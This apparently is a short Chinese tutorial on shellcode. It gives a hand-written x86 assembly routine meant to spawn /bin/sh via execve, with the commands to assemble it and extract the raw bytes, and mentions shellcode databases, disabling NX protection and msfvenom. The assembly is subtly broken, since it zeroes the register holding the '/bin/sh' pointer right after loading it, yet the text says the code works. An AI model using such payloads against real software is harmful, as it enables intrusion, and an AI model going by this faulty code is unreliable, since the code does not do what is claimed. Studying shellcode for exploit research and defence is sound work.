shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机械码,以其经常让攻击者获得shell而得名——wiki
简单来说就是一段可以执行特定功能(一定情况下)的“字符串”。
shellcode可以自己写汇编生成,比如(假设文件名shell.asm):
[section .data]
global _start
_start:
jmp sh
se:
pop ebx
xor eax, eax
mov al, 11
xor ecx, ecx
xor ebx, ebx
int 0x80
sh:
call se
db '/bin/sh',0
要编译成x86的shellcode的话(不同系统架构生成的shellcode是不同的)可以通过执行下面命令编译:
nasm -felf32 shell.asm -o shell.o
ld -melf_i386 shell.o -o shell
objcopy -O binary shell.o shell.bin
最后shell.bin里面就是想要的shellcode。
shellcode也可以到网上的数据库去找,比如这个,打开其中一个页面看一下:
里面是这个shellcode的一个C语言的deemo,复制下来编译运行一下(是x86的,所以要编译成32位程序,还要关闭NX保护),运行时可以成功跑出一个shell:
查数据库的话其实还是有一定局限性的,比如我只想运行特定的命令,或者绕过某一些限制。所以还有另一种做法的话是用工具生成,比如有一个叫msfvenom的,可以根据要执行的命令生成shellcode,比如我只想执行"uname -a":
(但其实还是觉得手写的shellcode才是坠吼的 - -)